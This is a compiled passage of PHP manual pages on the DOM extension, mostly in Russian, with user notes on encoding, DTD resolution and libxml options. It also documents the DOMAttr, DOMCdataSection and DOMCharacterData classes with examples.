}
mark at vectrex dot org dot uk 17-Nov-2005 02:10
Note that these DOM functions expect (and presumably return) all their data in UTF-8 character encoding, regardless of what PHP's current encoding is. This means that text nodes, attribute values etc, should be in utf8.

This applies even if you're generating an XML document which is not ultimately in utf8.

Mark
toby at tobiasly dot com 22-Oct-2005 11:08
This module is not included by default either in the CentOS 4 "centosplus" repository. For those using PHP5 on CentOS 4, a simple "yum --enablerepo=centosplus install php-xml" will do the trick (this will install both the XML and DOM modules).
pes_cz 29-Sep-2005 12:32
When I tried to parse my XHTML Strict files with DOM extension, it couldn't understand xhtml entities (like &copy;). I found post about it here (14-Jul-2005 09:05) which adviced to add resolveExternals = true, but it was very slow. There was some small note about xml catalogs but without any glue. Here it is:

XML catalogs is something like cache. Download all needed dtd's to /etc/xml, edit file /etc/xml/catalog and add this line: <public publicId="-//W3C//DTD XHTML 1.0 Strict//EN" uri="file:///etc/xml/xhtml1-strict.dtd" />

Thats all. Thanks to http://www.whump.com/moreLikeThis/link/03815
amir.laherATcomplinet.com 22-Aug-2005 05:09
This particular W3C page provides invaluable documentation for the DOM classes implemented in php5 (via libxml2). It fills in plenty of php.net's gaps:

http://www.w3.org/TR/DOM-Level-2-Core/core.html

Some key examples:
* concise summary of the class heirachy (1.1.1)
* clarification that DOM level 2 doesn't allow for population of internal DTDs
* explanation of DOMNode->normalize()
* explanation of the DOMImplementation class

The interfaces are described in OMG's Interface Definition Language
aidan at php dot net 19-Jul-2005 06:04
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:

DomDocument->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);

DomDocument->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
aidan at php dot net 18-Jul-2005 08:27
When dealing with validation or loading, the output errors can be quite annoying.

PHP 5.1 introduces libxml_get_errors().

http://php.net/libxml_get_errors
php at webdevelopers dot cz 14-Jul-2005 12:05
[Editor's Note: If you're using entities, then you have no choice. XML Catalogs can speed DTD resolution.]

Never use

$dom->resolveExternals=true;

when parsing XHTML document that has the DOCTYPE declaration with DTD URL specified in it.

Otherwise parsing the XHTML with DOCTYPE like this one:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

will result in PHP/DOM downloading the DTD file from W3C site when parsing your document. It will add extra delay to your script - I experienced that $dom->load()'s total time was from 1 to 16 seconds.

elixon
spammable69 at hotmail dot com 11-Apr-2005 10:18
I wrote a framework to implement the StyleSheet interfaces as specified on the W3C website.  The code is written in PHP, and is NOT a complete implementation.  Use it how ya like.  I was planning on adding the CSSStyleSheet interfaces as well.  Feel free to ask.

<?
    class StyleSheetList {
        public length;
        private self;

        function __construct ( ) {
            $this->self = array();
        }

        function __get($property, $&ret) {
            if($property == 'length')
                $ret = count($this->self);
            return true;
        }

        function __set($property, $val) {
            if($property == 'length')
                return true;
        }

        function item( $index ) {
            return $this->self[$index];
        }
    }

    class MediaList extends StyleSheetList {

        function appendMedium ( $newMedium ) {
            array_push($this->self, $newMedium);
        }

        function deleteMedium ( $oldMedium ) {
            foreach($this->self as $item) {
                if( $item == $oldMedium ) {
                    $item = $this->self[ $this->length-1 ];
                    array_pop($this->self);
                    break;
                }
            }
        }
    }

    class DocumentStyle {
        public styleSheets;

        function __construct ( ) {
            $this->styleSheets = new StyleSheetList();
        }

        function __set($property, $val) {
            if($property == 'styleSheets')
                return true;
        }
    }

    class LinkStyle {
        public sheet;

        function __construct () {
            $this->sheet = new StyleSheet();
        }

        function __set($property, $val) {
            if($property == 'sheet')
                return true;
        }
    }

    class StyleSheet {
        public type;
        public disabled;
        public ownerNode;
        public parentStyleSheet;
        public href;
        public title;
        public media;

        function __construct( $type, $disabled, $ownerNode, $parentStyleSheet, $href, $title){
            $this->type = $type;
            $this->disabled = $disabled;
            $this->media = new MediaList();
            $this->ownerNode = $ownerNode;
            $this->parentStyleSheet = $parentStyleSheet;
            $this->href = $href;
            $this->title = $title;
        }
    }
?>

Only contactable via http://murpsoft.com/contact.html


Введение

Модуль DOM разрешает работать в PHP с XML- и HTML-документами через DOM API.

Замечание:

Модуль DOM работает с кодировкой UTF-8. Для работы с другими кодировками пользуются функциями mb_convert_encoding(), UConverter::transcode() или iconv().

User Contributed Notes

captainjester at hotmail dot com 27-Mar-2020 12:59
Be careful when using this for partial HTML. This will only take complete HTML documents with at least an HTML element and a BODY element. If you are working on partial HTML and you fill in the missing elements around it and don't specify in META elements the character encoding then it will be treated as ISO-8859-1 and will mangle UTF-8 strings. Example:

<?php
$body = getHtmlBody();
$doc = new DOMDocument();
$doc->loadHtml("<html><body>".$body."</body></html>");
// $doc will treat your HTML ISO-8859-1.
// this is correct but may not be what you want if your source is UTF-8
?>

<?php
$body = getHtmlBody();
$doc = new DOMDocument();
$doc->loadHtml("<html><head><meta charset=\"UTF-8\"><meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=Windows-1251\"></head><body>".$body."</body></html>");
// $doc will treat your HTML correctly as UTF-8.
?>


Установка

Модуль включён по умолчанию. Он может быть отключён во время выполнения опцией: --disable-dom

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

XML константы
Константа | Значение | Описание
XML_ELEMENT_NODE (int) | 1 | Узел класса DOMElement
XML_ATTRIBUTE_NODE (int) | 2 | Узел класса DOMAttr
XML_TEXT_NODE (int) | 3 | Узел класса DOMText
XML_CDATA_SECTION_NODE (int) | 4 | Узел класса DOMCharacterData
XML_ENTITY_REF_NODE (int) | 5 | Узел класса DOMEntityReference
XML_ENTITY_NODE (int) | 6 | Узел класса DOMEntity
XML_PI_NODE (int) | 7 | Узел класса DOMProcessingInstruction
XML_COMMENT_NODE (int) | 8 | Узел класса DOMComment
XML_DOCUMENT_NODE (int) | 9 | Узел класса DOMDocument
XML_DOCUMENT_TYPE_NODE (int) | 10 | Узел класса DOMDocumentType
XML_DOCUMENT_FRAG_NODE (int) | 11 | Узел класса DOMDocumentFragment
XML_NOTATION_NODE (int) | 12 | Узел класса DOMNotation
XML_HTML_DOCUMENT_NODE (int) | 13 |
XML_DTD_NODE (int) | 14 |
XML_ELEMENT_DECL_NODE (int) | 15 |
XML_ATTRIBUTE_DECL_NODE (int) | 16 |
XML_ENTITY_DECL_NODE (int) | 17 |
XML_NAMESPACE_DECL_NODE (int) | 18 |
XML_ATTRIBUTE_CDATA (int) | 1 |
XML_ATTRIBUTE_ID (int) | 2 |
XML_ATTRIBUTE_IDREF (int) | 3 |
XML_ATTRIBUTE_IDREFS (int) | 4 |
XML_ATTRIBUTE_ENTITY (int) | 5 |
XML_ATTRIBUTE_NMTOKEN (int) | 7 |
XML_ATTRIBUTE_NMTOKENS (int) | 8 |
XML_ATTRIBUTE_ENUMERATION (int) | 9 |
XML_ATTRIBUTE_NOTATION (int) | 10 |
Константы DOMException
Константа | Значение | Описание
DOM_PHP_ERR (int) | 0 | Этот код ошибки не является частью спецификации DOM. Предназначена для ошибок PHP.
DOM_INDEX_SIZE_ERR (int) | 1 | Если индекс или размер отрицательный или выходит за пределы возможных значений.
DOMSTRING_SIZE_ERR (int) | 2 | Если указанный фрагмент текста не помещается в DOMString.
DOM_HIERARCHY_REQUEST_ERR (int) | 3 | Если невозможно вставить узел
DOM_WRONG_DOCUMENT_ERR (int) | 4 | Если узел используется в другом документе, а не в том, где он был создан.
DOM_INVALID_CHARACTER_ERR (int) | 5 | Если указан недопустимый символ, например, в имени.
DOM_NO_DATA_ALLOWED_ERR (int) | 6 | Если данные, указанные для узла, не поддерживаются.
DOM_NO_MODIFICATION_ALLOWED_ERR (int) | 7 | Если происходит попытка изменить объект, который не поддерживает изменения.
DOM_NOT_FOUND_ERR (int) | 8 | Если делается попытка ссылаться на узел в контексте, которого не существует
DOM_NOT_SUPPORTED_ERR (int) | 9 | Если реализация не поддерживает запрошенный тип объекта или операции.
DOM_INUSE_ATTRIBUTE_ERR (int) | 10 | Если пытаться добавить атрибут, который используется в другом месте.
DOM_INVALID_STATE_ERR (int) | 11 | Если пытаться использовать объект, которого нет или невозможно использовать.
DOM_SYNTAX_ERR (int) | 12 | Если используется неверная строка.
DOM_INVALID_MODIFICATION_ERR (int) | 13 | Если пытаться изменить тип базовому объекту.
DOM_NAMESPACE_ERR (int) | 14 | Если пытаться создать или изменить объект с некорректным пространством имён.
DOM_INVALID_ACCESS_ERR (int) | 15 | Если параметр или операция не поддерживается базовым объектом.
DOM_VALIDATION_ERR (int) | 16 | Если вызов метода, такого как insertBefore или removeChild, сделает узел недействительным, то выбросит исключение и операция не будет выполнена.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Многим примерам из этого руководства нужен XML-файл. Будет работать с файлом book.xml со следующим содержанием:

Пример #1 book.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.1.2//EN"
 "http://www.oasis-open.org/docbook/xml/4.1.2/docbookx.dtd" [
]>
<book id="listing">
 <title>Мои списки</title>
 <chapter id="books">
  <title>Мои книги</title>
  <para>
   <informaltable>
    <tgroup cols="4">
     <thead>
      <row>
       <entry>Название</entry>
       <entry>Автор</entry>
       <entry>Язык</entry>
       <entry>ISBN</entry>
      </row>
     </thead>
     <tbody>
      <row>
       <entry>The Grapes of Wrath</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>0140186409</entry>
      </row>
      <row>
       <entry>The Pearl</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>014017737X</entry>
      </row>
      <row>
       <entry>Samarcande</entry>
       <entry>Amine Maalouf</entry>
       <entry>fr</entry>
       <entry>2253051209</entry>
      </row>
      <!-- TODO: У меня ещё есть много недобавленных книг... -->
     </tbody>
    </tgroup>
   </informaltable>
  </para>
 </chapter>
</book>

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMAttr

(PHP 5, PHP 7, PHP 8)

Введение

DOMAttr представляет атрибут в объекте DOMElement.

Обзор классов

class DOMAttr extends DOMNode {
/* Свойства */
public readonly string $name;
public readonly bool $specified = true;
public string $value;
public readonly ?DOMElement $ownerElement;
public readonly mixed $schemaTypeInfo = null;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct(string $name, string $value = "")
public isId(): bool
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

name

Имя атрибута.

ownerElement

Элемент, который содержит атрибут или null.

schemaTypeInfo

Ещё не реализовано, возвращает null.

specified

Ещё не реализовано, возвращает null.

value

Значение атрибута.

Замечание:

Обратите внимание, что сущности XML расширяются при установке значения. Поэтому символ & имеет особое значение. Установка значения (value) в само себя приведёт к ошибке, если значение (value) содержит символ &. Чтобы избежать расширения сущности, вместо этого вызывают метод DOMElement::setAttribute().

Смотрите также

  • » Спецификация W3C для интерфейса Attr

Содержание

  • DOMAttr::__construct — Создаёт экземпляр класса DOMAttr
  • DOMAttr::isId — Проверяет, является ли атрибут определённым идентификатором

User Contributed Notes

greubel at nkey dot de 06-Dec-2014 03:04
Please take care on debugging DOMAttr related code. This will cause an E_WARNING that retrieving schemaTypeInfo attribute is not implemented yet. An IDE like Eclipse will inspect the object and its member elements. In conjunction with registered error handlers, which will translate the E_WARNING into Exception your debugging session will end unexpectedly. This has caused me some trouble while debugging my PHPUnit test case in eclipse using "Makegood" plugin.

A possible workarround is to deactivate the error handling during debugging using error_reporting(0). Remove the statement after finishing your debugging session.

Notable ticket in Bugtracker: https://bugs.php.net/bug.php?id=61858
And a xdebug tracker ticket: http://bugs.xdebug.org/view.php?id=910
chregu at php dot net 23-Mar-2009 11:20
See also the properties from the inherited class DOMNode ( http://php.net/manual/en/class.domnode.php ), eg. namespaceURI, prefix, localName, etc, especially if you have to deal with namespaced attributes


Создаёт экземпляр класса DOMAttr

  • « DOMAttr
  • DOMAttr::isId »
  • PHP Manual
  • DOMAttr
  • Создаёт экземпляр класса DOMAttr

DOMAttr::__construct

(PHP 5, PHP 7, PHP 8)

DOMAttr::__construct — Создаёт экземпляр класса DOMAttr

Описание

public DOMAttr::__construct(string $name, string $value = "")

Создаёт новый объект класса DOMAttr. Этот объект будет доступен только для чтения. Он может быть добавлен к документу, но дополнительные узлы нельзя добавить к этому узлу, пока он присоединён к документу. Для создания узла с возможностью модификации используйте DOMDocument::createAttribute.

Список параметров

name

Имя тега атрибута.

value

Значение атрибута.

Примеры

Пример #1 Создание нового объекта класса DOMAttr

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$attr = $element->setAttributeNode(new DOMAttr('attr', 'attrvalue'));
echo $dom->saveXML();

?>

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="utf-8"?>
<root attr="attrvalue" />

Смотрите также

  • DOMDocument::createAttribute() - Создаёт новый атрибут

User Contributed Notes

Anonymous 18-Sep-2014 10:48
The output should be:

<?xml version="1.0" encoding="iso-8859-1"?>
<root attr="attrvalue"/>


Проверяет, является ли атрибут определённым идентификатором

  • « DOMAttr::__construct
  • DOMCdataSection »
  • PHP Manual
  • DOMAttr
  • Проверяет, является ли атрибут определённым идентификатором

DOMAttr::isId

(PHP 5, PHP 7, PHP 8)

DOMAttr::isId — Проверяет, является ли атрибут определённым идентификатором

Описание

public DOMAttr::isId(): bool

Эта функция проверяет, является ли атрибут определённым идентификатором.

В соответствии со стандартом DOM для этого требуется DTD, который определяет идентификатор атрибута как идентификатор типа. Перед использованием этой функции необходимо проверять документ на действительность с помощью DOMDocument::validate или DOMDocument::$validateOnParse.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования DOMAttr::isId()

<?php

$doc = new DomDocument;

// Необходимо проверить документ на действительность перед тем как ссылаться по идентификатору
$doc->validateOnParse = true;
$doc->Load('book.xml');

// Получаем атрибут элемента с именем идентификатора chapter
$attr = $doc->getElementsByTagName('chapter')->item(0)->getAttributeNode('id');

var_dump($attr->isId()); // bool(true)

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMCdataSection

(PHP 5, PHP 7, PHP 8)

Введение

Класс DOMCdataSection наследуется от DOMText для текстового представления конструкций CData.

Обзор классов

class DOMCdataSection extends DOMText {
/* Наследуемые свойства */
public readonly string $wholeText;
public string $data;
public readonly int $length;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct(string $data)
/* Наследуемые методы */
public DOMText::isElementContentWhitespace(): bool
public DOMText::isWhitespaceInElementContent(): bool
public DOMText::splitText(int $offset): DOMText|false
public DOMCharacterData::after(DOMNode|string ...$nodes): void
public DOMCharacterData::appendData(string $data): true
public DOMCharacterData::before(DOMNode|string ...$nodes): void
public DOMCharacterData::deleteData(int $offset, int $count): bool
public DOMCharacterData::insertData(int $offset, string $data): bool
public DOMCharacterData::remove(): void
public DOMCharacterData::replaceData(int $offset, int $count, string $data): bool
public DOMCharacterData::replaceWith(DOMNode|string ...$nodes): void
public DOMCharacterData::substringData(int $offset, int $count): string|false
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Содержание

  • DOMCdataSection::__construct — Создаёт новый экземпляр класса DOMCdataSection

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр класса DOMCdataSection

  • « DOMCdataSection
  • DOMCharacterData »
  • PHP Manual
  • DOMCdataSection
  • Создаёт новый экземпляр класса DOMCdataSection

DOMCdataSection::__construct

(PHP 5, PHP 7, PHP 8)

DOMCdataSection::__construct — Создаёт новый экземпляр класса DOMCdataSection

Описание

public DOMCdataSection::__construct(string $data)

Создаёт новый узел CDATA. Работает как класс DOMText.

Список параметров

data

Значение узла CDATA. Если не указано, создаётся пустой узел CDATA.

Примеры

Пример #1 Создание объекта класса DOMCdataSection

<?php

$dom = new DOMDocument('1.0', 'utf-8');
$element = $dom->appendChild(new DOMElement('root'));
$text = $element->appendChild(new DOMCdataSection('root value'));
echo $dom->saveXML();

?>

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="utf-8"?>
<root><![CDATA[root value]]></root>

Смотрите также

  • DOMText::__construct() - Создаёт объект класса DOMText
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMCharacterData

(PHP 5, PHP 7, PHP 8)

Введение

Представляет узлы с символьными данными. Никакие узлы не соответствуют непосредственно этому классу, но другие узлы наследуют его.

Обзор классов

class DOMCharacterData extends DOMNode implements DOMChildNode {
/* Свойства */
public string $data;
public readonly int $length;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public after(DOMNode|string ...$nodes): void
public appendData(string $data): true
public before(DOMNode|string ...$nodes): void
public deleteData(int $offset, int $count): bool
public insertData(int $offset, string $data): bool
public remove(): void
public replaceData(int $offset, int $count, string $data): bool
public replaceWith(DOMNode|string ...$nodes): void
public substringData(int $offset, int $count): string|false
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

data

Содержимое узла.

length

Длина содержимого.

nextElementSibling

Элемент непосредственно следующий за данным элементом или null.

previousElementSibling

Элемент предшествующий элементу или null.

Список изменений

Версия | Описание
8.0.0 | Добавлены свойства nextElementSibling и previousElementSibling.
8.0.0 | Класс DOMCharacterData теперь реализует интерфейс DOMChildNode.

Смотрите также

  • » Спецификация W3C символьных данных

Содержание

  • DOMCharacterData::after — Добавляет узлы после символьных данных
  • DOMCharacterData::appendData — Добавить строку в конец символьных данных узла
  • DOMCharacterData::before — Добавляет узлы перед узлом
  • DOMCharacterData::deleteData — Удалить диапазон символов из узла
  • DOMCharacterData::insertData — Вставить строку в указанную 16-битную позицию
  • DOMCharacterData::remove — Удаляет символьные данные
  • DOMCharacterData::replaceData — Заменить подстроку в узле типа DOMCharacterData
  • DOMCharacterData::replaceWith — Заменяет символьные данные новыми узлами
  • DOMCharacterData::substringData — Извлекает определённый диапазон данных из узла

User Contributed Notes

jesdisciple dot FOO at gmail dot BAR dot com 08-Jul-2010 04:35
In case you're looking for the CDATA class to which nodes /do/ correspond, it's called DOMCdataSection (per my PHP installation) and isn't documented on php.net.  Presumably, it doesn't add anything to this API.

See also: http://www.php.net/manual/en/domdocument.createcdatasection.php


Добавляет узлы после символьных данных

  • « DOMCharacterData
  • DOMCharacterData::appendData »
  • PHP Manual
  • DOMCharacterData
  • Добавляет узлы после символьных данных

DOMCharacterData::after

(PHP 8)

DOMCharacterData::after — Добавляет узлы после символьных данных

Описание

public DOMCharacterData::after(DOMNode|string ...$nodes): void

Добавляет переданные узлы nodes после элемента.

Список параметров

nodes

Узлы, которые необходимо добавить после узла. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле, у которого нет родительского узла, теперь ничего не делает, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMCharacterData::after()

Добавление узлов после символьных данных.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><![CDATA[hello]]></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->after("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container><![CDATA[hello]]>beautiful<world/></container>

Смотрите также

  • DOMChildNode::after() - Добавляет узлы после узла
  • DOMCharacterData::before() - Добавляет узлы перед узлом

User Contributed Notes

There are no user contributed notes for this page.


Добавить строку в конец символьных данных узла

  • « DOMCharacterData::after
  • DOMCharacterData::before »
  • PHP Manual
  • DOMCharacterData
  • Добавить строку в конец символьных данных узла

DOMCharacterData::appendData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::appendData — Добавить строку в конец символьных данных узла

Описание

public DOMCharacterData::appendData(string $data): true

Добавить строку data в конец символьных данных узла.

Список параметров

data

Добавляемая строка.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.3.0 | Теперь у этой функции есть предварительный логический (true) тип возвращаемого значения.

Смотрите также

  • DOMCharacterData::deleteData() - Удалить диапазон символов из узла
  • DOMCharacterData::insertData() - Вставить строку в указанную 16-битную позицию
  • DOMCharacterData::replaceData() - Заменить подстроку в узле типа DOMCharacterData
  • DOMCharacterData::substringData() - Извлекает определённый диапазон данных из узла

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы перед узлом

  • « DOMCharacterData::appendData
  • DOMCharacterData::deleteData »
  • PHP Manual
  • DOMCharacterData
  • Добавляет узлы перед узлом

DOMCharacterData::before

(PHP 8)

DOMCharacterData::before — Добавляет узлы перед узлом

Описание

public DOMCharacterData::before(DOMNode|string ...$nodes): void

Добавляет переданные узлы nodes перед узлом.

Список параметров

nodes

Узлы, которые необходимо добавить перед узлом. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле, у которого нет родительского узла, теперь ничего не делает, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMCharacterData::before()

Добавление узлов перед символьными данными.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><![CDATA[world]]></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->before("hello", $doc->createElement("beautiful"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container>hello<beautiful/><![CDATA[world]]></container>

Смотрите также

  • DOMChildNode::before() - Добавляет узлы перед узлом
  • DOMCharacterData::after() - Добавляет узлы после символьных данных

User Contributed Notes

There are no user contributed notes for this page.


Удалить диапазон символов из узла

  • « DOMCharacterData::before
  • DOMCharacterData::insertData »
  • PHP Manual
  • DOMCharacterData
  • Удалить диапазон символов из узла

DOMCharacterData::deleteData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::deleteData — Удалить диапазон символов из узла

Описание

public DOMCharacterData::deleteData(int $offset, int $count): bool

Удаляет count символов, начиная с позиции offset.

Список параметров

offset

Позиция, с которой будут удаляться символы.

count

Количество удаляемых символов. Если offset и count в сумме окажется больше значения длины, будут удалены все символы до конца данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

DOM_INDEX_SIZE_ERR

Возникает, если offset меньше нуля или больше количества 16-битных блоков в данных, либо если count имеет отрицательное значение.

Смотрите также

  • DOMCharacterData::appendData() - Добавить строку в конец символьных данных узла
  • DOMCharacterData::insertData() - Вставить строку в указанную 16-битную позицию
  • DOMCharacterData::replaceData() - Заменить подстроку в узле типа DOMCharacterData
  • DOMCharacterData::substringData() - Извлекает определённый диапазон данных из узла

User Contributed Notes

There are no user contributed notes for this page.


Вставить строку в указанную 16-битную позицию

  • « DOMCharacterData::deleteData
  • DOMCharacterData::remove »
  • PHP Manual
  • DOMCharacterData
  • Вставить строку в указанную 16-битную позицию

DOMCharacterData::insertData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::insertData — Вставить строку в указанную 16-битную позицию

Описание

public DOMCharacterData::insertData(int $offset, string $data): bool

Вставляет строку data в позицию offset.

Список параметров

offset

Позиция символа, начиная с которого будет вставлена строка.

data

Вставляемая строка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

